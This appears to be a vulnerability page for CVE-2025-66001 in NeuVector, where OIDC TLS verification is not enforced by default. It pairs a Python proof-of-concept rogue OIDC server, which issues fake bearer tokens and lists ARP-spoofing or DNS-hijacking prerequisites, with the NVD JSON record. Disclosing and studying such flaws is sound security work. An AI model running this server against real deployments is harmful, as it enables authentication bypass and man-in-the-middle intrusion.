CVE-2025-66001

# CVE-2025-66001 PoC - NeuVector OIDC MITM Attack Simulation # This PoC demonstrates the TLS verification bypass concept import http.server import ssl import json import base64 class MITMHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): if '/auth/realms/' in self.path: # Malicious OIDC endpoint responding without valid TLS fake_token = { 'access_token': base64.b64encode(b'fake_token').decode(), 'token_type': 'Bearer', 'expires_in': 300, 'iss': 'http://attacker-controlled-server/auth/realms/fake' } self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(json.dumps(fake_token).encode()) print('[+] Sent fake token to victim') else: self.send_response(404) self.end_headers() def start_mitm_server(): server = http.server.HTTPServer(('0.0.0.0', 8443), MITMHandler) # Note: Using HTTP instead of HTTPS to demonstrate bypass # In real attack, would use self-signed cert print('[+] MITM Server listening on port 8443') server.serve_forever() if __name__ == '__main__': start_mitm_server() # Attack Prerequisites: # 1. Attacker must be in network path (ARP spoofing, DNS hijacking) # 2. NeuVector OIDC config has TLS verification disabled # 3. Configure NeuVector IdP URL to attacker-controlled server

{"cve": {"id": "CVE-2025-66001", "sourceIdentifier": "[email protected]", "published": "2026-01-08T11:15:43.457", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NeuVector supports login authentication through OpenID Connect. However, the TLS verification (which verifies the remote server's authenticity and integrity) for OpenID Connect is not enforced by default. As a result this may expose the system to man-in-the-middle (MITM) attacks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-66001", "source": "[email protected]"}, {"url": "https://github.com/neuvector/neuvector/security/advisories/GHSA-4jj9-cgqc-x9h5", "source": "[email protected]"}]}}